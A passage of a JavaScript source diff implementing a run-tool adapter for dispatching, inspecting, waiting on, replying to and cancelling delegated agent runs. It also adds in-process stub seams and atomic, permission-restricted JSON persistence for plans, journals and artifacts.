assertNotProxy(value[method], `${field}.${method}`); + } + return value; +} + +export function denyRunToolRemoteMutationV1(operation) { + return denyRunRemoteMutationV1(operation); +} + +export function describeRunToolAdapterV1() { + const registry = describeProviderRegistryV1(); + return freezeData({ + schema: RUN_TOOL_ADAPTER_SCHEMA_ID, + version: RUN_TOOL_ADAPTER_VERSION, + receipt_schema: RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID, + catalog: PUBLIC_MCP_CATALOG, + operations: RUN_TOOL_OPERATIONS, + modes: RUN_TOOL_MODES, + additive: capturedFreeze({ + status: ADDITIVE_STATUS_KEYS, + delegate: ADDITIVE_DELEGATE_KEYS, + task: ADDITIVE_TASK_KEYS, + tasks: ADDITIVE_TASKS_KEYS, + cancel: ADDITIVE_CANCEL_KEYS, + wait_until: ADDITIVE_WAIT_UNTIL, + }), + wait_until: WAIT_UNTIL_VALUES, + registry_slots: [...PROVIDER_REGISTRY_SLOTS], + registry_rule: registry.selection_rule, + p22: capturedFreeze({ + provider_slot: registry.future_harness?.provider_slot ?? null, + composable: false, + surface: 'conformance_evidence', + }), + checks: RUN_TOOL_ADAPTER_CHECKS, + side_effects: RUN_TOOL_ADAPTER_SIDE_EFFECTS, + error_codes: RUN_TOOL_ADAPTER_ERROR_CODES, + bounds: capturedFreeze({ + assignments: capturedFreeze({ min: MIN_ASSIGNMENTS, max: MAX_ASSIGNMENTS }), + }), + candidate_ref_authority: 'p35', + lifecycle_authority: 'p33', + attention_authority: 'p34', + truth_projection: 'r-truth', + wake: false, + remote_mutated: false, + sixth_tool: false, + }); +} + +export function createRunToolAdapter(dependencies) { + if (dependencies === undefined || dependencies === null) { + failAdapter('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(dependencies, 'dependencies'); + assertPlainObject(dependencies, 'injected_dependency_invalid', 'dependencies', + 'createRunToolAdapter dependencies'); + for (const key of ownKeySet(dependencies, 'dependencies')) { + if (!capturedIncludes(ADAPTER_DEPENDENCY_KEYS, key)) { + failAdapter('unknown_key', `dependencies.${key}`, CONTENT_FREE.unknown_key); + } + } + const runtime = assertFunctionMap( + ownDataValue(dependencies, 'runtime', 'dependencies.runtime'), + 'dependencies.runtime', + RUNTIME_METHODS, + ); + const attention = hasOwn(dependencies, 'attention') + ? assertFunctionMap(ownDataValue(dependencies, 'attention', 'dependencies.attention'), + 'dependencies.attention', ATTENTION_METHODS) + : null; + const rememberSubmitContext = hasOwn(dependencies, 'rememberSubmitContext') + ? ownDataValue(dependencies, 'rememberSubmitContext', 'dependencies.rememberSubmitContext') + : null; + if (rememberSubmitContext !== null && typeof rememberSubmitContext !== 'function') { + failAdapter('injected_dependency_invalid', 'dependencies.rememberSubmitContext', + CONTENT_FREE.injected_dependency_invalid); + } + const projectLaneTask = hasOwn(dependencies, 'projectLaneTask') + ? ownDataValue(dependencies, 'projectLaneTask', 'dependencies.projectLaneTask') + : null; + const classifyLaneTask = hasOwn(dependencies, 'classifyLaneTask') + ? ownDataValue(dependencies, 'classifyLaneTask', 'dependencies.classifyLaneTask') + : null; + if (projectLaneTask !== null && typeof projectLaneTask !== 'function') { + failAdapter('injected_dependency_invalid', 'dependencies.projectLaneTask', + CONTENT_FREE.injected_dependency_invalid); + } + if (classifyLaneTask !== null && typeof classifyLaneTask !== 'function') { + failAdapter('injected_dependency_invalid', 'dependencies.classifyLaneTask', + CONTENT_FREE.injected_dependency_invalid); + } + + const counters = { + submit: 0, inspect: 0, resume: 0, cancel: 0, reply: 0, + }; + + async function inspectLive(runId, previous) { + const cursors = cursorsFromReceipt(previous); + if (cursors.length > 0) { + counters.resume += 1; + return runtime.resumeRun({ run_id: runId, cursors }); + } + counters.inspect += 1; + return runtime.inspectRun({ run_id: runId }); + } + + async function waitForDecision(runId, args, signal) { + const waitMs = parseWaitMs(args); + const started = Date.now(); + let receipt = await inspectLive(runId, null); + if (actionableDecision(receipt) || waitMs === 0) return receipt; + const deadline = started + waitMs; + while (Date.now() < deadline) { + if (signal?.aborted) return receipt; + const remaining = deadline - Date.now(); + if (remaining <= 0) break; + await delayMs(Math.min(RUN_TOOL_WAIT_POLL_MS, remaining), signal); + if (signal?.aborted) return receipt; + receipt = await inspectLive(runId, receipt); + if (actionableDecision(receipt)) return receipt; + } + return receipt; + } + + async function dispatch(tool, args, options = {}) { + const classified = classifyRunToolCall(tool, args); + if (classified.mode === 'legacy') return classified; + assertClosedTool(tool); + if (args === undefined || args === null || typeof args !== 'object') { + failAdapter('invalid_type', 'arguments', CONTENT_FREE.invalid_type); + } + assertNotProxy(args, 'arguments'); + assertDirectJsonClosure(args, 'arguments'); + denyForbiddenTree(args, 'arguments'); + const operation = resolveOperation(tool, args); + if ((tool === 'task' || tool === 'cancel' || tool === 'delegate' || tool === 'tasks') + && mixLegacySingleTask(tool, args) && tool !== 'tasks') { + failAdapter('mixed_tool_mode', tool, CONTENT_FREE.mixed_tool_mode); + } + if (tool === 'tasks' && mixLegacySingleTask('tasks', args) && capturedHasOwn(args, 'run_id')) { + failAdapter('mixed_tool_mode', 'tasks', CONTENT_FREE.mixed_tool_mode); + } + + const signal = options && typeof options === 'object' ? options.signal : undefined; + let runtimeReceipt; + if (operation === 'submit') { + const parsed = await parseSubmit(args); + if (parsed.catalogSnapshot !== null && parsed.catalogSnapshot !== undefined) { + pendingRunCatalogSnapshots.set(parsed.runId, parsed.catalogSnapshot); + } + if (rememberSubmitContext) rememberSubmitContext(parsed.context); + counters.submit += 1; + runtimeReceipt = await runtime.submitRun(parsed.runtimeRequest); + } else if (operation === 'status') { + const runId = requireRunId(args); + const assignmentId = optionalValue(args, 'assignment_id', 'assignment_id'); + if (assignmentId !== undefined && !isAssignmentId(assignmentId)) { + failAdapter('invalid_format', 'assignment_id', CONTENT_FREE.invalid_format); + } + counters.inspect += 1; + runtimeReceipt = await runtime.inspectRun({ + run_id: runId, + ...(assignmentId !== undefined ? { assignment_id: assignmentId } : {}), + }); + } else if (operation === 'wait') { + const runId = requireRunId(args); + const waitUntil = waitUntilValue(args); + if (waitUntil !== undefined && !capturedIncludes(WAIT_UNTIL_VALUES, waitUntil)) { + failAdapter('invalid_format', 'wait_until', CONTENT_FREE.invalid_format); + } + runtimeReceipt = await waitForDecision(runId, args, signal); + } else if (operation === 'attention') { + const runId = requireRunId(args); + const attentionRequest = quarantineObject( + ownDataValue(args, 'attention', 'attention'), + 'attention', + ATTENTION_REQUEST_KEYS, + ); + const items = ownDataValue(attentionRequest, 'items', 'attention.items'); + if (!ARRAY_IS_ARRAY(items) || items.length < MIN_ASSIGNMENTS || items.length > MAX_ASSIGNMENTS) { + failAdapter('out_of_range', 'attention.items', CONTENT_FREE.out_of_range); + } + validateAttentionItemsV1(items, 'attention.items'); + counters.resume += 1; + runtimeReceipt = await runtime.resumeRun({ + run_id: runId, + attention_items: items, + }); + } else if (operation === 'reply') { + const runId = requireRunId(args); + if (attention === null) { + failAdapter('injected_dependency_invalid', 'attention', CONTENT_FREE.injected_dependency_invalid); + } + const replyRequest = quarantineObject( + ownDataValue(args, 'run_reply', 'run_reply'), + 'run_reply', + RUN_REPLY_KEYS, + ); + counters.reply += 1; + const attentionReceipt = await attention.reply({ + run_id: runId, + batch_id: ownDataValue(replyRequest, 'batch_id', 'run_reply.batch_id'), + expected_revision: optionalValue(replyRequest, 'expected_revision', 'run_reply.expected_revision'), + reply: ownDataValue(replyRequest, 'reply', 'run_reply.reply'), + }); + counters.inspect += 1; + runtimeReceipt = await runtime.inspectRun({ run_id: runId }); + runtimeReceipt = freezeData({ + ...runtimeReceipt, + attention: attentionRecord(attentionReceipt), + }); + } else if (operation === 'cancel' || operation === 'cleanup') { + const runId = requireRunId(args); + let assignmentIds = parseAssignmentIds( + optionalValue(args, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', + ); + if (assignmentIds === undefined) { + counters.inspect += 1; + const inspected = await runtime.inspectRun({ run_id: runId }); + assignmentIds = ARRAY_IS_ARRAY(inspected?.lanes) + ? inspected.lanes.map((lane) => lane.assignment_id).filter((id) => typeof id === 'string') + : []; + if (assignmentIds.length < MIN_ASSIGNMENTS) { + failAdapter('missing_key', 'assignment_ids', CONTENT_FREE.missing_key); + } + } + counters.cancel += 1; + runtimeReceipt = await runtime.cancelRun({ + run_id: runId, + assignment_ids: assignmentIds, + cleanup: operation === 'cleanup', + }); + } else { + failAdapter('unknown_operation', 'tool', CONTENT_FREE.unknown_operation); + } + + const projected = projectReceipt( + tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask, + operation === 'wait', + ); + return projected; + } + + return capturedFreeze({ + classify: classifyRunToolCall, + dispatch, + describe: describeRunToolAdapterV1, + counters, + }); +} + +function echoReplyIdentity(identity, outcome) { + return freezeData({ + outcome, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + }); +} + +export async function deliverSupervisorSameSessionReplyV1(root, identity) { + try { + await submitReply(root, identity.task_id, { + session_id: identity.session_id, + question_id: identity.question_id, + response: identity.response, + }); + return echoReplyIdentity(identity, 'delivered'); + } catch (error) { + if (error?.code === 'reply_already_recorded') { + return echoReplyIdentity(identity, 'already_delivered'); + } + throw error; + } +} + +export async function cancelSupervisorSameSessionReplyV1(cancelTask, identity) { + try { + const inspected = await cancelTask({ + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + role: identity.role, + provider: identity.provider, + }); + const confirmed = inspected?.cancelled === true + && inspected?.status === 'cancelled' + && inspected?.task_id === identity.task_id; + return echoReplyIdentity(identity, confirmed ? 'confirmed' : 'unconfirmed'); + } catch { + return echoReplyIdentity(identity, 'unconfirmed'); + } +} + +function bindAttentionReplyDelivery(attention, options = {}) { + if (attention === undefined || attention === null || typeof attention.reply !== 'function') { + return attention; + } + const deliver = typeof options.deliver === 'function' ? options.deliver : null; + const cancel = typeof options.cancel === 'function' ? options.cancel : null; + const bound = { + async get(runId) { + return attention.get(runId); + }, + async reply(request) { + const payload = { + run_id: request.run_id, + batch_id: request.batch_id, + expected_revision: request.expected_revision, + reply: request.reply, + }; + if (request.now !== undefined) payload.now = request.now; + const deliverFn = request.deliver ?? deliver; + const cancelFn = request.cancel ?? cancel; + if (typeof deliverFn === 'function') payload.deliver = deliverFn; + if (typeof cancelFn === 'function') payload.cancel = cancelFn; + return attention.reply(payload); + }, + }; + if (typeof attention.latch === 'function') { + bound.latch = async (request) => attention.latch(request); + } + return capturedFreeze(bound); +} + +function assertLatchedReplyIdentities(items, reply, runId) { + const answers = reply?.answers; + if (!ARRAY_IS_ARRAY(items) || !ARRAY_IS_ARRAY(answers)) { + fail('attention_batch_identity_mismatch', 'reply.answers', CONTENT_FREE.invalid_format); + } + const pending = items.filter((item) => item.disposition === 'pending' + && item.reply_capability === 'same_session'); + if (answers.length !== pending.length) { + fail('attention_batch_identity_mismatch', 'reply.answers', CONTENT_FREE.invalid_format); + } + const byAssignment = Object.create(null); + for (const item of pending) byAssignment[item.assignment_id] = item; + for (const answer of answers) { + const item = byAssignment[answer.assignment_id]; + if (item === undefined + || item.task_id !== answer.task_id + || item.session_id !== answer.session_id + || item.question_id !== answer.question_id + || (item.run_id !== undefined && item.run_id !== runId)) { + fail('attention_batch_identity_mismatch', 'reply.answers', CONTENT_FREE.invalid_format); + } + } +} + +async function deliverInProcessAnswers(deliver, items, reply, runId) { + if (typeof deliver !== 'function') return; + const byAssignment = Object.create(null); + for (const item of items ?? []) byAssignment[item.assignment_id] = item; + for (const answer of reply?.answers ?? []) { + const item = byAssignment[answer.assignment_id]; + const identity = { + run_id: runId, + assignment_id: answer.assignment_id, + task_id: answer.task_id, + session_id: answer.session_id, + question_id: answer.question_id, + response: answer.response, + provider: item?.provider, + role: item?.role, + }; + const result = await deliver(identity); + if (result === undefined || result === null || typeof result !== 'object') { + fail('attention_batch_identity_mismatch', 'deliver', CONTENT_FREE.invalid_format); + } + for (const key of ['run_id', 'assignment_id', 'task_id', 'session_id', 'question_id']) { + if (capturedHasOwn(result, key) && result[key] !== identity[key]) { + fail('attention_batch_identity_mismatch', `deliver.${key}`, CONTENT_FREE.invalid_format); + } + } + } +} + +export function createInProcessRunSeams(options = {}) { + assertPlainObject(options, 'injected_dependency_invalid', 'options', + 'In-process run seams'); + const delegateTask = options.delegateTask; + const inspectTask = options.inspectTask; + const cancelTask = options.cancelTask; + const settleLocalTaskLifecycle = options.settleLocalTaskLifecycle; + const cleanupLocalTaskLifecycle = options.cleanupLocalTaskLifecycle; + const clock = options.clock ?? (() => new Date().toISOString()); + if (typeof delegateTask !== 'function' || typeof inspectTask !== 'function' + || typeof cancelTask !== 'function' || typeof settleLocalTaskLifecycle !== 'function' + || typeof cleanupLocalTaskLifecycle !== 'function') { + failAdapter('injected_dependency_invalid', 'options', CONTENT_FREE.injected_dependency_invalid); + } + const byId = new Map(); + const byKey = new Map(); + const runStore = { + async submit(input) { + const existing = byId.get(input.run_id); + if (existing) { + if (existing.request_idempotency_key !== input.request_idempotency_key) { + failAdapter('invalid_format', 'run_id', CONTENT_FREE.invalid_format); + } + return { record: existing, created: false }; + } + const record = { + schema: 'codex-co-engineer.run-store-record.v1', + run_id: input.run_id, + request_idempotency_key: input.request_idempotency_key, + identity: input.identity, + git: input.git, + provenance: input.provenance, + telemetry: input.telemetry, + canonical_digest: input.request_idempotency_key, + }; + byId.set(input.run_id, record); + byKey.set(input.request_idempotency_key, input.run_id); + return { record, created: true }; + }, + async getByRunId(runId) { + const record = byId.get(runId); + if (!record) fail('run_store_not_found', 'run_id', CONTENT_FREE.invalid_format); + return record; + }, + }; + const journals = new Map(); + function journalHandle() { + const state = { + schema: 'codex-co-engineer.run-journal-state.v1', + revision: 0, + head_hash: 'codex-co-engineer.run-journal.genesis.v1', + run_opened: false, + children: [], + child_count: 0, + event_counts: { + run_opened: 0, child_started: 0, child_progress: 0, child_artifact: 0, + child_terminal: 0, run_terminal: 0, + }, + artifacts_total: 0, + artifact_bytes_total: 0, + run_outcome: null, + terminal: false, + }; + return { + async currentState() { + return { ...state, children: state.children.map((child) => ({ ...child })) }; + }, + async append(event) { + const kind = event.kind; + const data = event.data ?? {}; + if (kind === 'run_opened') state.run_opened = true; + if (kind === 'child_started' + && !state.children.some((child) => child.assignment_id === data.assignment_id)) { + state.children.push({ assignment_id: data.assignment_id, outcome: null }); + state.child_count = state.children.length; + } + if (kind === 'child_terminal') { + const child = state.children.find((row) => row.assignment_id === data.assignment_id); + if (child) child.outcome = data.outcome; + } + if (kind === 'run_terminal') { + state.terminal = true; + state.run_outcome = data.outcome; + } + state.event_counts[kind] = (state.event_counts[kind] ?? 0) + 1; + state.revision += 1; + state.head_hash = `sha256:${STRING(state.revision).padStart(64, 'a')}`; + return { seq: state.revision, state: { ...state } }; + }, + async cursorAfter(seq) { + return { seq, head_hash: state.head_hash, cursor: `cursor:${seq}` }; + }, + async readPage() { + return { events: [], next_cursor: null }; + }, + }; + } + const runJournal = { + async create(request) { + const handle = journalHandle(); + journals.set(request.run_id, handle); + return handle; + }, + async open(request) { + const handle = journals.get(request.run_id); + if (!handle) fail('run_journal_not_found', 'run_id', CONTENT_FREE.invalid_format); + return handle; + }, + async createAggregate(request) { return this.create(request); }, + async openAggregate(request) { return this.open(request); }, + }; + const aggregateAnchor = { + async getCoordination() { + fail('aggregate_run_not_found', 'run_id', CONTENT_FREE.invalid_format); + }, + }; + const batches = new Map(); + const attentionBatch = { + async latch(request) { + const record = freezeData({ + schema: 'codex-co-engineer.attention-batch.v1', + run_id: request.run_id, + batch_id: `att-${request.run_id}`, + revision: 1, + status: 'open', + source: request.source, + items: request.items ?? [], + reply: null, + unresolved: [], + complete_candidate_blocked: (request.items ?? []).some((item) => item.required !== false + && item.reply_capability === 'unsupported'), + wake: false, + }); + batches.set(request.run_id, record); + return record; + }, + async reply(request) { + const existing = batches.get(request.run_id); + if (!existing) fail('attention_batch_not_found', 'run_id', CONTENT_FREE.invalid_format); + if (request.batch_id !== undefined && request.batch_id !== existing.batch_id) { + fail('attention_batch_identity_mismatch', 'batch_id', CONTENT_FREE.invalid_format); + } + const expectedRevision = request.expected_revision; + if (expectedRevision !== undefined && expectedRevision !== existing.revision) { + fail('attention_batch_revision_conflict', 'expected_revision', CONTENT_FREE.invalid_format); + } + assertLatchedReplyIdentities(existing.items, request.reply, request.run_id); + if (existing.reply !== null || existing.status === 'resolved' || existing.status === 'reply_committed') { + if (canonicalJsonStringify(existing.reply) === canonicalJsonStringify(request.reply)) { + return existing; + } + fail('attention_batch_reply_conflict', 'reply', CONTENT_FREE.invalid_format); + } + await deliverInProcessAnswers(request.deliver, existing.items, request.reply, request.run_id); + const record = freezeData({ + ...existing, + status: 'resolved', + revision: (existing.revision ?? 1) + 1, + reply: request.reply, + }); + batches.set(request.run_id, record); + return record; + }, + async get(runId) { + return batches.get(runId) ?? null; + }, + }; + const artifactBridge = { + async captureAssignmentArtifacts() { + return freezeData({ schema: 'codex-co-engineer.run-artifact-bridge-capture.v1', created: false }); + }, + async projectAssignmentArtifacts(input) { + return freezeData({ + schema: 'codex-co-engineer.run-artifact-bridge-projection.v1', + run_id: input.run_id, + assignment_id: input.assignment_id, + artifacts: [], + }); + }, + async cleanupRunArtifacts(input) { + return freezeData({ + schema: 'codex-co-engineer.run-artifact-bridge-cleanup.v1', + run_id: input.run_id, + cleaned: true, + proof_bound: true, + removed: 0, + remaining: 0, + unresolved: [], + }); + }, + }; + const scheduler = createRunScheduler({ + delegateTask, + inspectTask, + cancelTask, + clock, + }); + const attention = bindAttentionReplyDelivery(attentionBatch, { + deliver: typeof options.deliverSameSessionReply === 'function' + ? options.deliverSameSessionReply + : null, + cancel: typeof options.cancelSameSessionReply === 'function' + ? options.cancelSameSessionReply + : null, + }); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch: attention, + scheduler, + artifactBridge, + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + clock, + }); + return capturedFreeze({ + runtime, + attention, + scheduler, + runStore, + artifactBridge, + }); +} + +async function ensurePrivateRoot(rootPath) { + if (typeof rootPath !== 'string' || rootPath.length === 0 || !path.isAbsolute(rootPath)) { + failAdapter('injected_dependency_invalid', 'root', CONTENT_FREE.injected_dependency_invalid); + } + const resolved = path.resolve(rootPath); + await mkdir(resolved, { recursive: true, mode: 0o700 }); + await chmod(resolved, 0o700); + return resolved; +} + +function missingAggregateAnchor() { + return { + async getCoordination() { + fail('aggregate_run_not_found', 'run_id', CONTENT_FREE.invalid_format); + }, + }; +} + +function wrapDurableJournal({ journalRoot, store, anchor }) { + return { + async create(options) { + return createRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async open(options) { + return openRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async createAggregate(options) { + return createAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + async openAggregate(options) { + return openAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + }; +} + +function secondPrecisionNow(clock) { + const raw = typeof clock === 'function' ? clock() : new Date().toISOString(); + if (typeof raw === 'string') return raw.replace(/\.\d{3}Z$/u, 'Z'); + return new Date().toISOString().replace(/\.\d{3}Z$/u, 'Z'); +} + +async function persistAtomicJson(filePath, value) { + await mkdir(path.dirname(filePath), { recursive: true, mode: 0o700 }); + await chmod(path.dirname(filePath), 0o700).catch(() => {}); + const tmp = `${filePath}.${process.pid}.${STRING(Date.now())}.tmp`; + try { + await writeFile(tmp, `${canonicalJsonStringify(value)}\n`, { + encoding: 'utf8', + mode: 0o600, + flag: 'wx', + }); + await chmod(tmp, 0o600); + await rename(tmp, filePath); + } catch (error) { + await unlink(tmp).catch(() => {}); + if (error instanceof RunContractV1Error) throw error; + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } +} + +async function loadAtomicJson(filePath) { + let text; + try { + text = await readFile(filePath, 'utf8'); + } catch (error) { + if (error?.code === 'ENOENT') return { missing: true, value: null }; + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + if (typeof text !== 'string' || text.trim().length === 0 || text.includes('\0')) { + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + let parsed; + try { + parsed = JSON.parse(text); + } catch { + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + if (parsed === null || typeof parsed !== 'object' || ARRAY_IS_ARRAY(parsed)) { + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + return { missing: false, value: parsed }; +} + +function encodeArtifactName(relativePath) { + return Buffer.from(STRING(relativePath)).toString('base64url'); +} + +function durableArtifactBridge(clock, artifactRoot) { + const rawStore = { + async publish({ artifact_ref, bytes, source_truncated }) { + const payload = { + artifact_ref: { ...artifact_ref }, + bytes: Buffer.from(bytes).toString('base64'), + source_truncated: source_truncated === true, + }; + const filePath = path.join( + artifactRoot, + artifact_ref.run_id, + artifact_ref.assignment_id, + `${encodeArtifactName(artifact_ref.relative_path)}.json`, + ); + await persistAtomicJson(filePath, payload); + const readback = await this.get({ + run_id: artifact_ref.run_id, + assignment_id: artifact_ref.assignment_id, + relative_path: artifact_ref.relative_path, + }); + if (readback === null + || readback.artifact_ref.run_id !== artifact_ref.run_id + || readback.artifact_ref.assignment_id !== artifact_ref.assignment_id + || readback.artifact_ref.relative_path !== artifact_ref.relative_path) { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + return { artifact_ref: { ...readback.artifact_ref } }; + }, + async get({ run_id, assignment_id, relative_path }) { + const filePath = path.join( + artifactRoot, run_id, assignment_id, `${encodeArtifactName(relative_path)}.json`, + ); + const loaded = await loadAtomicJson(filePath); + if (loaded.missing) return null; + const record = loaded.value; + if (record.artifact_ref?.run_id !== run_id + || record.artifact_ref?.assignment_id !== assignment_id + || record.artifact_ref?.relative_path !== relative_path + || typeof record.bytes !== 'string') { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + return { + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes, 'base64'), + source_truncated: record.source_truncated === true, + }; + }, + async list({ run_id }) { + const listed = []; + const runDir = path.join(artifactRoot, run_id); + let assignments; + try { + assignments = await readdir(runDir, { withFileTypes: true }); + } catch (error) { + if (error?.code === 'ENOENT') return listed; + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + for (const assignmentDir of assignments) { + if (!assignmentDir.isDirectory()) continue; + const files = await readdir(path.join(runDir, assignmentDir.name), { withFileTypes: true }); + for (const file of files) { + if (!file.isFile() || !file.name.endsWith('.json')) continue; + const loaded = await loadAtomicJson(path.join(runDir, assignmentDir.name, file.name)); + if (loaded.missing) continue; + if (loaded.value.artifact_ref?.run_id !== run_id) { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + listed.push({ + artifact_ref: { ...loaded.value.artifact_ref }, + bytes: Buffer.from(loaded.value.bytes, 'base64'), + source_truncated: loaded.value.source_truncated === true, + }); + } + } + return listed; + }, + async remove({ run_id, assignment_id, relative_path }) { + const filePath = path.join( + artifactRoot, run_id, assignment_id, `${encodeArtifactName(relative_path)}.json`, + ); + try { + await unlink(filePath); + } catch (error) { + if (error?.code !== 'ENOENT') { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + } + }, + }; + const sanitizer = { + async sanitize({ artifact_ref, source }) { + const bytes = Buffer.from(source); + return { + sanitized_ref: { + ...artifact_ref, + artifact_class: 'sanitized', + }, + bytes, + redaction_count: 0, + sanitizer_version: 1, + source_truncated: false, + complete: true, + }; + }, + }; + const evidence = []; + const evidenceBundle = { + async append(event) { + evidence.push(event); + return { appended: true }; + }, + async list() { + return [...evidence]; + }, + }; + return createRunArtifactBridge({ + rawStore, + sanitizer, + evidenceBundle, + clock: { now: () => secondPrecisionNow(clock) }, + }); +} + +function planPath(schedulerRoot, runId) { + return path.join(schedulerRoot, `${runId}.json`); +} + +function catalogSnapshotPath(schedulerRoot, runId) { + return path.join(schedulerRoot, `${runId}.catalog.json`); +} + +function schedulerPlanIdentity(request) { + const digest = createHash('sha256') + .update(canonicalJsonStringify({ + assignments: request.assignments, + base_sha: request.base_sha, + run_id: request.run_id, + })) + .digest('hex'); + return `sha256:${digest}`; +} + +function boundCatalogSnapshotPayload(snapshot) { + if (snapshot === null || snapshot === undefined) return null; + return { + schema: CATALOG_SNAPSHOT_SCHEMA, + catalog_digest: snapshot.catalog_digest, + profiles: ARRAY_IS_ARRAY(snapshot.profiles) + ? snapshot.profiles.map((record) => ({ + name: record.name, + scope: record.scope, + digest: record.digest, + definition: record.definition, + })) + : [], + }; +} + +function assignmentDispatchFacts(assignments, dispatchedById = null) { + if (!ARRAY_IS_ARRAY(assignments)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + const facts = []; + const seen = new Set(); + for (const assignment of assignments) { + const assignmentId = assignment?.assignment_id; + if (typeof assignmentId !== 'string' || seen.has(assignmentId)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + seen.add(assignmentId); + facts.push({ + assignment_id: assignmentId, + dispatched: dispatchedById instanceof Map + ? dispatchedById.get(assignmentId) === true + : false, + }); + } + return facts; +} + +function dispatchFactsFromReceipt(assignments, receipt) { + const byId = new Map(); + if (ARRAY_IS_ARRAY(receipt?.lanes)) { + for (const lane of receipt.lanes) { + if (lane === null || typeof lane !== 'object' || ARRAY_IS_ARRAY(lane) || IS_PROXY(lane)) { + continue; + } + if (typeof lane.assignment_id === 'string') { + byId.set(lane.assignment_id, lane.dispatched === true); + } + } + } + return assignmentDispatchFacts(assignments, byId); +} + +function boundAssignmentDispatch(plan) { + const facts = plan.assignment_dispatch; + if (!ARRAY_IS_ARRAY(facts) || facts.length !== plan.assignments.length) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + const bound = []; + const seen = new Set(); + for (let index = 0; index < plan.assignments.length; index += 1) { + const assignmentId = plan.assignments[index]?.assignment_id; + const fact = facts[index]; + if (fact === null || typeof fact !== 'object' || ARRAY_IS_ARRAY(fact) || IS_PROXY(fact) + || typeof assignmentId !== 'string' + || fact.assignment_id !== assignmentId + || typeof fact.dispatched !== 'boolean' + || seen.has(assignmentId)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + seen.add(assignmentId); + bound.push({ + assignment_id: assignmentId, + dispatched: fact.dispatched === true, + }); + } + const allDispatched = bound.every((fact) => fact.dispatched === true); + if ((plan.dispatched === true) !== allDispatched) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + return bound; +} + +async function persistSchedulerPlan(schedulerRoot, payload) { + const assignmentDispatch = ARRAY_IS_ARRAY(payload.assignment_dispatch) + ? payload.assignment_dispatch.map((fact) => ({ + assignment_id: fact.assignment_id, + dispatched: fact.dispatched === true, + })) + : assignmentDispatchFacts(payload.assignments); + const dispatched = assignmentDispatch.length > 0 + && assignmentDispatch.every((fact) => fact.dispatched === true); + await persistAtomicJson(planPath(schedulerRoot, payload.run_id), { + schema: SCHEDULER_PLAN_SCHEMA, + run_id: payload.run_id, + base_sha: payload.base_sha, + assignments: payload.assignments, + plan_identity: payload.plan_identity, + catalog_digest: payload.catalog_digest ?? null, + dispatched, + assignment_dispatch: assignmentDispatch, + }); + if (payload.catalog_snapshot !== null && payload.catalog_snapshot !== undefined) { + await persistAtomicJson(catalogSnapshotPath(schedulerRoot, payload.run_id), payload.catalog_snapshot); + } +} + +async function loadSchedulerPlan(schedulerRoot, runId) { + const loaded = await loadAtomicJson(planPath(schedulerRoot, runId)); + if (loaded.missing) return null; + const parsed = loaded.value; + if (parsed.schema !== SCHEDULER_PLAN_SCHEMA + || parsed.run_id !== runId + || typeof parsed.plan_identity !== 'string' + || typeof parsed.base_sha !== 'string' + || !ARRAY_IS_ARRAY(parsed.assignments)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + const expected = schedulerPlanIdentity({ + run_id: parsed.run_id, + base_sha: parsed.base_sha, + assignments: parsed.assignments, + }); + if (parsed.plan_identity !== expected) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + if (parsed.catalog_digest !== null && parsed.catalog_digest !== undefined) { + const snapshot = await loadAtomicJson(catalogSnapshotPath(schedulerRoot, runId)); + if (snapshot.missing || snapshot.value.catalog_digest !== parsed.catalog_digest) { + failAdapter('durable_state_mismatch', 'catalog', CONTENT_FREE.durable_state_mismatch); + } + } + parsed.assignment_dispatch = boundAssignmentDispatch(parsed); + return parsed; +} + +function planWasDispatched(plan) { + return plan?.dispatched === true; +} + +function assignmentWasDispatched(plan, assignment) { + const assignmentId = assignment?.assignment_id; + if (!ARRAY_IS_ARRAY(plan?.assignment_dispatch) || typeof assignmentId !== 'string') { + return false; + } + for (const fact of plan.assignment_dispatch) { + if (fact?.assignment_id === assignmentId) return fact.dispatched === true; + } + return false; +} + +function reconstructLane(assignment, inspected, { + cancelAttempted = false, dispatched = false, +} = {}) { + const required = assignment.required !== false; + if (dispatched !== true) { + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: null, + cancel_confirmed: cancelAttempted === true ? false : null, + cursor: null, + dispatched: false, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: 'unresolved', + task_id: assignment.task_id, + unresolved: { + 